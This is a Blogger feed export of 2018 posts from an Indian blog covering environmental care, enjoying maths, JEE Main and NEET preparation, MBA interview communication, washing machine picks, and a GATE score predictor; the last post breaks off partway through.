tag:blogger.com,1999:blog-17789798572518961302024-03-05T12:32:12.272+05:30ComboUpdatesA Little Something about Almost EverythingComboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.comBlogger1271110000tag:blogger.com,1999:blog-1778979857251896130.post-56261241181211454952018-10-03T21:33:00.000+05:302018-10-03T21:33:12.013+05:30Reasons Why It Is Important to Care About the Environment<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: x-large;">As a fellow human why it is important to take care of the environment</span></h2>
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<span style="font-size: x-large;">Are you studying <a href="https://html.rincondelvago.com/cuidado-del-medio-ambiente.html" target="_blank">Ecología y Medio Ambiente</a> at a reputable school? If so, then you need to understand why it is important to take care of the environment. Many students have developed environmental care projects that are still used to date to keep the environment in good shape.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh04Uv_qOKmWG1qoijsnlogkJQn2BakLah9E5zBS7VQhS9TPkAASqRZy8AioPrXKfaraj9MKBft7TMaGeuiYsdsLP2reYQ4uYtDINyVgd3qHBDp3Q6ePcQX9vCvJs4eUiiZ4q_7ZJz7Q9aN/s1600/environment.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="As a fellow human why it is important to take care of the environment" border="0" data-original-height="450" data-original-width="800" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh04Uv_qOKmWG1qoijsnlogkJQn2BakLah9E5zBS7VQhS9TPkAASqRZy8AioPrXKfaraj9MKBft7TMaGeuiYsdsLP2reYQ4uYtDINyVgd3qHBDp3Q6ePcQX9vCvJs4eUiiZ4q_7ZJz7Q9aN/s640/environment.jpg" title="As a fellow human why it is important to take care of the environment" width="640" /></a></div>
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<span style="font-size: x-large;">With all the environmental concerns in the world, people from all corners of the world should know why it is important to care for our environment. It is a joint effort in which every person has a part to play. Here are the main reasons.</span><br />
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<span style="font-size: x-large;">The necessity of a Clean Environment</span></h2>
<span style="font-size: x-large;">Imagine if all the sewers were open, chemicals disposed of without care or all vegetation slashed down. The world would be full of diseases, and unbearable weather conditions would strangle the earth. On the other hand, picture the clean, fresh air you enjoy as you jog around the park or the clean streets we enjoy every day. They contribute to the healthy lifestyle people are living today, right? It is for this reason that we need to be responsible when disposing of waste, harvesting trees and doing other things that affect the environment.</span><br />
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<span style="font-size: x-large;">Dangerous Global Warming</span></h2>
<span style="font-size: x-large;">On average, the temperature has significantly gone up over the last millennium. The environmental experts attribute this to a high level of industrialization in the world and the cutting down of vegetation. The United Nations has tried to come together and urge people to plant more trees and help the world to stay green. However, harvesting seems to be higher than planting all over the world. Trees can help to trap the bad emissions from industries and prevent the perforation of the ozone layer.</span><br />
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<span style="font-size: x-large;">Earth Is Home</span></h2>
<span style="font-size: x-large;">We all know that planet Earth is the only one with proven qualities to support life. We share our planet with all other living creatures in the form of animals and plants. Earth deserves all the preservation that we can afford. Since the environment holds all the resources that we need for survival, it is important that we take care of it.</span><br />
<span style="font-size: x-large;">Trees and other plants ensure that the oxygen is clean during the day, which means that we need more of them. On the other hand, hazardous emissions and fumes in the water and air lead to diseases that kill both human beings and other creatures. Guarding our Earth jealously simply means taking good care of the environment.</span><br />
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<span style="font-size: x-large;">Avoid Species Extinction</span></h2>
<span style="font-size: x-large;">We learn in school that some creatures became extinct because of changes in the environment. This is not a myth since we also know that numerous creatures are now at risk of facing the same fate. Weaker species are facing a challenge because they can no longer survive in the harsh environment. We can save them by saving the environment. The most affected are the aquatic animals and plants since factories usually dispose of their waste in water bodies.</span><br />
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<span style="font-size: x-large;">Caring for the environment is an obligation of every human being. Let us all unite together and address this issue accordingly.</span><br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-8781413823776348902018-09-03T21:50:00.000+05:302019-01-21T20:01:42.880+05:30How Can You Enjoy Learning Mathematics?<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: x-large;">How to study and enjoy Mathematics at the same time</span></h2>
<span style="font-size: large;"><br /></span> <span style="font-size: large;">While learning mathematics is not at all enjoyable to some students, some find it very interesting and easy. The whole of learning mathematics can become a lot interesting if the students develop a deeper in interest in the subject and are thorough with all the fundamental concepts related to the subject.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPDL7QdQSjBnHS3OdTBQpyUioHceE1fA2rMRpAhXq8kBwrnI7WQnRK1x6INSMaBDtWu4jxoqJL6WAIN9QvpNBsZhh-oWddl8OHPA8HzivC1JXKsS7uRXGwVstSDosSQEV2aMveiNl8hNLw/s1600/maths_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How to study and enjoy Mathematics at the same time" border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPDL7QdQSjBnHS3OdTBQpyUioHceE1fA2rMRpAhXq8kBwrnI7WQnRK1x6INSMaBDtWu4jxoqJL6WAIN9QvpNBsZhh-oWddl8OHPA8HzivC1JXKsS7uRXGwVstSDosSQEV2aMveiNl8hNLw/s640/maths_1.jpg" title="How to study and enjoy Mathematics at the same time" width="640" /></a></div>
<span style="font-size: large;"><br /></span> <span style="font-size: large;"><br /></span> <span style="font-size: large;">To be able to be good at maths and score well in the exams, students need to enjoy learning the concepts. So, in this article, some of the best ways are mentioned which will help the students to enjoy learning maths and eventually develop a strong foundation in it. </span><br />
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<span style="font-size: large;">●</span><span style="font-size: large; white-space: pre;"> </span><span style="font-size: x-large;">Be thorough with the basics</span></h3>
<span style="font-size: large;"><br /></span> <span style="font-size: large;">It is suggested to be completely acquainted with some of the basic concepts in maths as most of the higher level concepts are interlinked. One can refer to NCERT books for clearing any doubts regarding the basic concepts. Also, as the <a href="https://myncert.com/ncert-solutions-for-class-6-maths/" target="_blank">NCERT solutions for class 6 maths</a>, class 7 maths, etc. are available for free, students can easily clear any doubts which might come up.</span><br />
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<span style="font-size: large;">●</span><span style="font-size: large; white-space: pre;"> </span><span style="font-size: x-large;">Gamification</span></h3>
<span style="font-size: large;"><br /></span> <span style="font-size: large;">It is seen that students learn maths in a better way of math games are incorporated in the learning process. There are various online math games which students can play and be engaged. Even the educators can conduct different math games for the students (especially for the children). For example, simple games like calculate the length of their classrooms, or tables, etc. can help the students to engage in the activities and stay motivated throughout.</span><br />
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<span style="font-size: large;">●</span><span style="font-size: large; white-space: pre;"> </span><span style="font-size: x-large;">Visualization & practical relevances</span></h3>
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Visualization helps to simplify even the most difficult maths concepts and makes learning more fun and effective. With 3D animations, 3D printing, and reality tools, it is now easy to visualize the topics and get practical relevances to them.</span><br />
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<span style="font-size: large;">●</span><span style="font-size: large; white-space: pre;"> </span><span style="font-size: x-large;">Never pile up doubts</span></h3>
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Maths need proper practice and in-depth understanding of the basics to be able to develop a deeper understanding of the topics and excel in the subject. It is important to never pile up the doubt and clear them instantly. Now, clearing doubts has become extremely easy as the NCERT solutions are readily available online. <a href="https://myncert.com/" target="_blank">Know more about the NCERT solutions</a> here and clear all your doubts instantly.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">These were a few ways in which any student can learn maths more effectively and enjoy learning its concepts. Maths can be a lot more interesting if one develops an interest towards it and enjoy learning the concepts.</span><br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-32185633615772011522018-03-15T17:25:00.000+05:302018-03-15T17:37:35.546+05:30Most Scoring Topics in JEE Main: Maths<div dir="ltr" style="text-align: left;" trbidi="on">
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Why Mathematics is considered the most scoring subject in JEE Main</h2>
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<span style="font-size: large;">IIT JEE is considered to be one of the toughest examinations at the undergraduate level. Although, all the subjects of this examination have equal weightage in terms of marks but the subject which scares most of the students is Mathematics. Even the sharpest of students end up making the silliest of mistakes when it comes to Mathematics.</span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-x7Hh55ai-Jg_muJRusdwTnD6vGTnIkywn0iUmIUTwwhCvuZAuH5X78hLJUqZalbp4hhyZ1BEGxHOidfryESYbcmevqzxFV5GhXKXlkkaEmhvbFBZ3iiJqCl2csOTE9_pp9KslUalvayN/s1600/math.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Why Mathematics is considered the most scoring subject in JEE Main" border="0" data-original-height="549" data-original-width="1050" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-x7Hh55ai-Jg_muJRusdwTnD6vGTnIkywn0iUmIUTwwhCvuZAuH5X78hLJUqZalbp4hhyZ1BEGxHOidfryESYbcmevqzxFV5GhXKXlkkaEmhvbFBZ3iiJqCl2csOTE9_pp9KslUalvayN/s1600/math.jpg" title="Why Mathematics is considered the most scoring subject in JEE Main" /></a></div>
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<span style="font-size: large;">The examination is scheduled to be held on April 15-16, 2018 which leaves the students with approximately 1 month to excel in their preparation. Candidates can download <a href="http://jeemains2018.in/jee-main-2018-admit-card/" target="_blank">JEE Main admit card</a> from the official website.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">While Maths is scoring and lengthy section, it requires rigorous practice and persistence to score well. Looking at the level of difficulty for the examination, wouldn’t it be beneficial if you had a list of topics which were easy to score in? Fret now, we have just the same. The below mentioned topics are important yet scoring at the same time!</span><br />
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<span style="font-size: large;">Trigonometry :</span></h2>
<span style="font-size: large;">Generally, you will not find hardcore pure trigonometry questions in JEE Mains. Mostly, questions from inverse trigonometry and trigonometric equations are asked in the exam. They are quite easy to do if you remember the trigonometric formulas. In some questions, one can guess the answer by simply looking at the options. This is one area which can definitely benefit you. One can expect easy questions from this area.</span><br />
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<span style="font-size: large;">Algebra :</span></h2>
<span style="font-size: large;">Quadratic equations and matrices are the most widely covered areas in algebra, asked in the examination. Usually the exam consists of a lot of easy questions and also has high weightage in JEE Mains. From matrices, you can expect easy passage type questions.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Multiple questions can be attempted through a single passage. Apart from matrices, quadratic equations are also one of the most favorite topics of students aspiring for JEE. One should devote a lot of time to this topic as it is easy scoring. But, you may also expect some standard questions from this area so a strong practice is highly recommended.</span><br />
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<span style="font-size: large;">Permutations and combinations :</span></h2>
<span style="font-size: large;">This is a topic which is easy in nature with very few formulas but it is an unpredictable topic. Sometimes, you can expect lot of questions from this area and sometimes very less questions from this area. Mostly, more or less the questions will be similar to the ones asked in previous years.</span><br />
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<span style="font-size: large;">Probability :</span></h2>
<span style="font-size: large;">It is a logical area from where you can expect easy questions. However, the questions are conceptual based and not based on formulae’s so you need to focus more on the logic part.</span><br />
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<span style="font-size: large;">Co-ordinate geometry :</span></h2>
<span style="font-size: large;">In coordinate geometry, most of the questions appear from straight lines and circles. These topics also involve analytical skill as there are not much formula’s in it. The best part is that this chapter also appears in class 10th and most of the questions asked from this area are from basics. So, getting a strong hold on fundamentals would help you in scoring well in this area.</span><br />
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<span style="font-size: large;">Differentiation and Integration Calculus :</span></h2>
<span style="font-size: large;">These topics scare students the most because they have lot of formulas in them. However, once you learn the formulas and start practicing it is also one of the most interesting areas in Maths. Under differentiation, Limits and continuity is one of the easiest and scoring topics. The whole topic is based on only one simple “L-Hospitals” rule which makes it very easy and scoring.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">In integration, which is also called reverse of differentiation, there are lot of formulas. But, one easy area in the same is definite integrals with very few formulas, making it easier to learn and practice questions based on this topic. The Physics section also has a lot of questions based on Integration and thus, one must focus on it.</span><br />
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<span style="font-size: large;">Statistics :</span></h2>
<span style="font-size: large;">Statistics is another easy area where you just need to memorize basic formulas. Questions are based on mean, median, mode etc. This is a complete formula based area and hence, you won’t get any tricky questions. Increase your score by simply applying the formulas.</span><br />
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<span style="font-size: large;">Vectors & 3D:</span></h2>
<span style="font-size: large;">Last but not the least, vectors and 3D is an area which appears in the ending chapters of the curriculum. This topic is very easy and scoring. A lot of questions are asked from this section. Problems are generally easy in nature and this topic is an extension of coordinate geometry so, if you are thorough with concepts of coordinate geometry vectors and 3d would be easy too. Planes is an easy area in vectors and highly scoring too. However, you can expect direct questions from this area so be clear with the concepts.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">Hope this article was helpful and you score well using the above information.</span><br />
<span style="font-size: large;"><br /></span> <span style="font-size: large;">All the Best!</span><br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-70209419335546111362018-02-20T19:22:00.001+05:302018-02-20T19:22:50.824+05:30Improve Communication Skills for MBA Interviews with these Tips<div dir="ltr" style="text-align: left;" trbidi="on">
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How to improve your communications skills for MBA interviews</h2>
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In order to secure admission in top B-schools, a student has to pass three important steps- the first step is the examination, after successful completion of the examination a student applies to colleges wherein he/she goes through the further two steps i.e. Group Discussion and Personal Interview.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXrUt5YDQvpb5DGoGfLnFtMUp_iZhND7FBcyjrrtdtYXLMeGyipXvs5cu2L3MWJgzfmNnrKd_x_MGHKZRCqwOuu6fHLpUpmsw9t0TFR5pb86ZrNcsZmSYd2hL7AG_Vx2eIcCW1F5bWjmV4/s1600/mba+interview.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How to improve your communications skills for MBA interviews" border="0" data-original-height="325" data-original-width="700" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXrUt5YDQvpb5DGoGfLnFtMUp_iZhND7FBcyjrrtdtYXLMeGyipXvs5cu2L3MWJgzfmNnrKd_x_MGHKZRCqwOuu6fHLpUpmsw9t0TFR5pb86ZrNcsZmSYd2hL7AG_Vx2eIcCW1F5bWjmV4/s1600/mba+interview.jpg" title="How to improve your communications skills for MBA interviews" /></a></div>
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The personal interview of <a href="http://iimcat2018.in/" target="_blank">CAT 2018</a> is the terminal stage in the selection process. Interviews play a major role in the selection as they measure you both as a person and as a future professional in all walks of life. They assess your overall personality and basically check whether you are fit to be a part of a particular college or not. In order to ace the interview one needs to be excellent at communication skills as it is the most important factor on which a candidate is judged by the interviewer. Communication Skills not only play a significant role in the interview process but are a basic skill which an MBA graduate must possess. </div>
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The candidate cannot learn or build communication skills overnight. However, they can try and gradually improve it. Here are some important tips one can follow to improve his/her communication skills.</div>
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•<span style="white-space: pre;"> </span>Reading</h3>
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One of the most important factors to improve your communication skills is reading. Reading magazines, newspapers, and novels help you in building communication skills. Reading magazines is a great way of improving not just your communications skills but also your knowledge of current affairs. Magazines such as The Week, Outlook business, The Economist and Business Today are the best for updates on international as well as national news and you would also have greater chances of cracking the interview. Reading a newspaper on daily basis also improves your communication and makes your general knowledge stronger.</div>
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Novels are a great source of enhancing your communication skills. As they revolve around various characters and stories, you tend to develop a good vocabulary. So make sure to read every day. </div>
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•<span style="white-space: pre;"> </span>Vocabulary</h3>
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Another factor is improving your vocabulary. It is very important for the interviewer to understand what you are speaking and hence you should be good at expressing yourself. In order to have good vocabulary students should keep learning new words and also try framing sentences with them. Students should not focus on including fancy words in their communication, rather use simple words which could be understood by the interviewer.</div>
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•<span style="white-space: pre;"> </span>Be a Patient Listener</h3>
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It is always said that a good speaker is also a good listener. So it is important to be calm and patient while communicating. The more you listen, the better you can express as it helps you put your thoughts in a better way. It is important that one must concentrate more on listening rather than speaking as you can get a better understanding of what the other person is trying to say and then you can respond in an appropriate way.</div>
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•<span style="white-space: pre;"> </span>Maintaining a Consistent Tone Throughout </h3>
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In order to be fluent in communication skills, you should be able to start a conversation by expressing your point of view in a simple and flexible manner. One needs to maintain a proper tone throughout the interview and be prepared to answer all the type of questions the interviewer asks. In order to enter into a dialogue with others even with whom you disagree, you should be more honest and stick to your point and not start debating a topic.</div>
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•<span style="white-space: pre;"> </span>Confidence</h3>
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While you are interacting with the interviewer it is very important that you should be confident in the way you are expressing yourself. Maintaining eye contact with the interviewer or using a friendly tone also expresses your confidence. But make sure not to be overconfident.</div>
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•<span style="white-space: pre;"> </span>Maintain a Clear Picture</h3>
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While having a conversation it is very important that you are clear on what you are expressing. Often unorganized thoughts can land in an irrelevant conversation which might leave a negative impact on the interviewer, making it important to have clear thoughts and speak with clarity.</div>
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•<span style="white-space: pre;"> </span>Persistency is the Key</h3>
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Communication skills can’t be improved overnight and hence one needs to be persistent and consistent in their efforts. Try reading from all possible sources such as books, newspapers and also try writing articles or speeches so that you would also improve your writing skills. If possible, try practicing speeches by standing in front of a mirror to build up confidence.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-45729561682189484712018-02-01T13:09:00.001+05:302018-02-01T13:09:22.223+05:30Are you a State Board Student? Here's How You Can Ace NEET<div dir="ltr" style="text-align: left;" trbidi="on">
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Read about the ways in which you can ace NEET unified examination</h2>
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NEET is the unified exam for almost all the MBBS/BDS seats in the country. So, it does not matter if you belong to any particular state or region, you will have to appear for this exam if you want to pursue higher education in the medical field.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Z_n8cT6HIyW1xjhTsjmRvfG2tMXu7nEJqJstg7zYOKK4ZK7Gsie9fKEJB2huk72iPwtxyhziFOHlNEVErpRcTuJ_gJzJLGNNPW_fnrR_pmvj-ol1qt6G7oN-xhYx_x-DiW3w-zk_lCR5/s1600/NEET.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Are you a State Board Student? Here's How You Can Ace NEET" border="0" data-original-height="400" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Z_n8cT6HIyW1xjhTsjmRvfG2tMXu7nEJqJstg7zYOKK4ZK7Gsie9fKEJB2huk72iPwtxyhziFOHlNEVErpRcTuJ_gJzJLGNNPW_fnrR_pmvj-ol1qt6G7oN-xhYx_x-DiW3w-zk_lCR5/s1600/NEET.jpeg" title="Are you a State Board Student? Here's How You Can Ace NEET" /></a></div>
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But, since the majority of the students appearing in the exam belong to CBSE board, state board students feel that they cannot compete with CBSE students in the exam. Well, this is a popular notion, but it is definitely not true.</div>
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Whether you are a state board student or CBSE student, if you have prepared hard for this exam, only then you will be able to crack. But, if you still feel that you cannot ace this exam due to your belonging to the regional board, then we have brought some important tips that can remove all doubts from your mind. Take a look at these tips: -</div>
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Shrug off all the Myths</h3>
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There will be a lot of people around you who will tell a whole lot of things about <a href="http://mbbsneet.in/" target="_blank">NEET exam</a>. Well, first thing is that, if they say anything that makes you feel that you cannot crack NEET, then stay away from them. Being a student of a state board is never a disadvantage for NEET, and you can crack it just like any other CBSE student would do.</div>
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There are two big myths about NEET that most of state board students get preyed to. First is, ‘NEET is based on CBSE syllabus, you will have to study extra things to crack it’. Well, as an answer to this, you should know that NEET is based on NCERT syllabus and not CBSE. Most of the state boards have made their syllabus in line with NCERT.</div>
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Second big myth is, ‘You need coaching to crack NEET.’ Well, this is purely a big myth. NEET is based on Class 11 and 12 syllabi so you can clear NEET with all what you have studied till now. You just need consistent studying, and definitely, NEET can be cracked without coaching as well.</div>
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Have the Right Strategy </h3>
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Having a proper approach towards the exam is very important. There are many points that need to be taken care of while preparing for NEET, and therefore, a well-defined strategy is needed.</div>
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If you have 6 months to prepare for the exam, ideally your syllabus should get completed in a maximum of 3 months. After this, you should enroll for any mock test series for best practice. Solving past year papers for NEET is also a very important part of the preparation, so you should not miss out on that front. While rigorous practice is a very obvious thing, you should also make notes for revision.</div>
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Keeping all these important things in mind, do craft a feasible strategy and stick to it. Many students make plans but are not able to follow them. But, do remember that one good hit doesn’t make you win the match, you have to consistently keep on scoring runs whole throughout the innings to bring the trophy home.</div>
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Follow the Right Study Material</h3>
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Having quality study material is definitely a decisive part of preparation. You do not need to solve very tough questions, rather, the material that you follow must have the relevant set of questions.</div>
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A general rule to remember is that you need one textbook and one advanced book (at least) to ace the exam. While textbooks help you to understand the basic, the advanced books aid one to practice HOTS and these build your grip on the concepts.</div>
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For all the 3 subjects, NCERT books are a must. These have the best explanations of topics and you can expect some direct questions from these. Apart from NCERT books, the concept of Physics by HC Verma, Objective NCERT at your fingertips (physics) by MTG Editorial Board are good choices.</div>
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For Chemistry, books by OP Tandon, coupled with Objective Chemistry by RK Gupta will be very useful. For Biology, you can refer to Complete NEET Guide by MTG Editorial Board and Objective Biology by Dinesh.</div>
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Use Internet to Your Advantage</h3>
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If you have access to the Internet, then you should make the full use of it. There are tons of apps, forums and YouTube channels that provide access to free and useful study material.</div>
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Apps like AskIITians, NEET app by EduRev, NEET Practice by KRV Solutions and Toppr App can prove to be very effective. On the other hand, YouTube channels like Aim4 AIIMS/NEET, GradeUp, Study Buddy Club and BYJU’s NEET are definitely worth subscribing.</div>
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Remember, the Paper is Same for All</h3>
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Since the paper is same for everyone, there is definitely no need to feel that have you any disadvantage when compared to the CBSE aspirants. First of all, NEET question paper is never set keeping any particular board in mind and is designed in such a way that it is of same level for everyone.</div>
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Also, from this year, the question paper in all the languages will be same. Earlier different papers were set for different languages, but it will not be that case from this year.</div>
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Another big thing is that in recent papers of NEET, some questions from state board’s books have also been seen. So, it’s nowhere correct to think that paper is more favored towards CBSE aspirants.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-75769567565274351702018-01-26T13:15:00.000+05:302018-01-26T13:15:12.483+05:30Best Washing Machines in India in 2018<div dir="ltr" style="text-align: left;" trbidi="on">
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Choose the best Washing Machines in India in 2018</h2>
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Today we don’t find any house without a washing machine. It has become a part of our daily life; we cannot think of washing our clothes without it. One of the main advantages of a washing machine is that it's user-friendly and saves time. During earlier days there were only semi-automatic machines and was available only in the houses of the rich. It was a luxury item during those days. Today we have Semi-automatic and fully automatic machines having the top load as well as front load features. While semi-automatic machines do not have as much demand as they used to have, fully automatic front load machines rule the industry. The top load automatic machines are also not behind. Here are some of the best washing machines of 2018 that are available in India.</div>
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1. IFB Elite Aqua</h2>
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IFB is the most trusted brand when it comes to washing machines. They deliver quality products that are worth the money spent. Elite Aqua is no different from them. With a capacity of 7 kg, it stands as the 4th best washing machine available worldwide. It is fully automated with front load system. It has special features such as air bubble wash system for the long-lasting freshness of clothes and 3D technology to clean the stains and dirt from the threads. The crescent-shaped drum helps in protecting the cloths. Some of the other features are built in aqua filter to clean the water, laundry add button and foam sensing with which excessive foam is dissolved. IFB offers a warranty of 4 years. The current price of this product in the market is Rupees 36,091.<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0XsR9tqopUwRssvW0ded7zidYJrVIaeMhBajsNcd6FIpfFCWei5G-HDgGtFbD25DFaZTrLy-Pg0tD-XE7GsuWpgY7RZlEBz0Qx3US5AIP0duk6fyn6Wk5gqLc-LwneAcdVC9BLBI2XxY/s1600/IFB+Elite+Aqua.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img alt="IFB Elite Aqua" border="0" data-original-height="730" data-original-width="623" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0XsR9tqopUwRssvW0ded7zidYJrVIaeMhBajsNcd6FIpfFCWei5G-HDgGtFbD25DFaZTrLy-Pg0tD-XE7GsuWpgY7RZlEBz0Qx3US5AIP0duk6fyn6Wk5gqLc-LwneAcdVC9BLBI2XxY/s1600/IFB+Elite+Aqua.jpg" title="IFB Elite Aqua" /></a></div>
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2. LG EDLR</h2>
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LG is a common name among household things. They have a wide variety of products such as air conditioners, refrigerators and of course washing machines. This fully automatic top load model has a capacity of 7 kg. With multi water flow system that helps in easy supply and drainage, this model tops the market. It has punch plus 3 pulsator and smart diagnosis system to detect the number of clothes and wash it in a short time. The jet spray and turbo drum are some of the other specialties of this model. The current rate of this is Rupees 24,290.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty86rZZUBYgxNE4_QR3RVL4AK19LK4ggL9B5C_UHI0y8reNRC-84xNsoE0C_oQMgcD-zSZjtlZEtjWS54JxIIbjIXbqWKufH2Hl-nWjZfO_rQJwvZ3c-YhPlW88OQIBG2PI_MuYrAvnk-/s1600/LG+EDLR.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="LG EDLR" border="0" data-original-height="370" data-original-width="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty86rZZUBYgxNE4_QR3RVL4AK19LK4ggL9B5C_UHI0y8reNRC-84xNsoE0C_oQMgcD-zSZjtlZEtjWS54JxIIbjIXbqWKufH2Hl-nWjZfO_rQJwvZ3c-YhPlW88OQIBG2PI_MuYrAvnk-/s1600/LG+EDLR.jpg" title="LG EDLR" /></a></div>
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3. Bosch WAK20166IN</h2>
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Bosch is a new face in the manufacturing of washing machines and yet it is the number 1 fast-growing company. Bosch washing machines are of high quality at an affordable rate. They are built in with the latest technology and is the biggest competitor in the market. This model stands 7th best in its quality worldwide. Having a capacity of 6 kg, this fully automated front load machine has various features that attract customers instantly. It has speed features and perfect speed technology that reduces the cycle duration by 65%. The anti-vibration and zero noise quality is another point to be noted. With active water and gentle clean technology, the water usage is minimum and your clothes stay as new forever. You can also manually delay time. Certified by ECARF for its quality and zero detergent trace assurance, this model has a warranty of 2 years. The current price of this model is Rupees 34,499.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakj4MFBBwVUHpm1O_j1TXj2BIoRozZn083Z_xZree9uVGkjjqNqfON9nzGwVtNeKq8h8wezyakTqwR3E0vZ8g7Tgeun6xA3EJLY4QJeP4daoYaSt_UU-vTeCcWyWk_1HA7rpok1nqovTh/s1600/Bosch+WAK20166IN.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bosch WAK20166IN" border="0" data-original-height="445" data-original-width="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakj4MFBBwVUHpm1O_j1TXj2BIoRozZn083Z_xZree9uVGkjjqNqfON9nzGwVtNeKq8h8wezyakTqwR3E0vZ8g7Tgeun6xA3EJLY4QJeP4daoYaSt_UU-vTeCcWyWk_1HA7rpok1nqovTh/s1600/Bosch+WAK20166IN.jpg" title="Bosch WAK20166IN" /></a></div>
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There are several other companies too that produce quality products such as Samsung, Haier, Panasonic, Whirlpool, etc. One of the main things to be noted while buying washing machines is the warranty and the features they offer you for your investment. You should also make a note of the service quality and make sure that there is a customer service center near you.</div>
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Source: <a href="https://reviewstation.in/best-fully-automatic-washing-machines-under-25000-in-india/" target="_blank">Best Washing Machines in India 2018</a></h4>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-61643406353111586492018-01-26T13:01:00.000+05:302018-01-26T13:01:02.510+05:30GATE 2018 Score Predictor: Find Your Rank and College Now<div dir="ltr" style="text-align: left;" trbidi="on">
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Find your Rank and College realtime with the new GATE 2018 Score Predictor</h2>
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The score predictor tool for GATE 2018 gives you the privilege to calculate your expected examination scores even before the declaration of result. <a href="https://collegedunia.com/rank-predictor" target="_blank">Predicting the score and rank using the rank predictor</a> can help the candidates get an approximate idea of which institutes are they likely to get into in accordance to the score they are likely to achieve. Also, they can further decide if they want to apply for placements in PSUs. Graduate Aptitude Test in Engineering 2018 exam is to be conducted by IIT Guwahati on February 3, 4, 10 and 11. The exam will be held in online mode. </div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLqzkWJB-3gg4a9I0-voLZvnDYejhZYV9c_ykEukke3S3EsC-3MskCyXxlMdSCH0IfvJcshe8Ti1TUZ8h_Jvrf3ft4DEEdCG3f8FkJWP6xgPKgAqBXltt4Z_F2PIfotC8ao0nIHbY5LvV/s1600/gate+2018.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Find your Rank and College realtime with the new GATE 2018 Score Predictor" border="0" data-original-height="318" data-original-width="946" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLqzkWJB-3gg4a9I0-voLZvnDYejhZYV9c_ykEukke3S3EsC-3MskCyXxlMdSCH0IfvJcshe8Ti1TUZ8h_Jvrf3ft4DEEdCG3f8FkJWP6xgPKgAqBXltt4Z_F2PIfotC8ao0nIHbY5LvV/s1600/gate+2018.png" title="Find your Rank and College realtime with the new GATE 2018 Score Predictor" /></a></div>
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GATE score predictor is a simple tool which requires you to fill in certain details such as date of exam, subject paper, slot and category. It will then provide the candidates with their expected score and also predict their rank. You will need to login using your Google or Facebook account for the same. Students don’t have to pay any fee for calculating their scores.</div>
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Note: The tool will be made available only after the exam is over. The official link of <a href="http://gate.iitg.ac.in/" target="_blank">GATE</a> 2018 score predictor will be released at that time, only for a limited period of time.</div>
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This article takes you through the various benefits of using the score predictor tool. It also explains you the steps of using this tool for calculating your scores.</div>
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Why Should you Use GATE Score Predictor?</h2>
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Apart from getting the information related to your score and rank, this viable tool also provides information about the prospects of getting you jobs in the <a href="http://gateforum.com/psu-recruitment-through-gate/" target="_blank">Public Sector Undertaking</a> (PSUs). </div>
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After knowing your probable scores using the predictor, you may check the expected cutoff to predict if you will be able to clear the same. <span style="white-space: pre;"> </span>Either way, you can plan your prospects in advance.</div>
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Note: Candidates must provide valid and accurate information so that their marks can be estimated accurately. </div>
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How to Use GATE Score Predictor 2018?</h2>
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You just need to follow the simple steps provided below to know your predicted marks using GATE 2018 score predictor tool:</div>
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1.<span style="white-space: pre;"> </span>Open the link of GATE 2018 score predictor. Log in using your Google or Facebook account. In case you are not registered on any of those, you need to create an account and then log in to the same.</div>
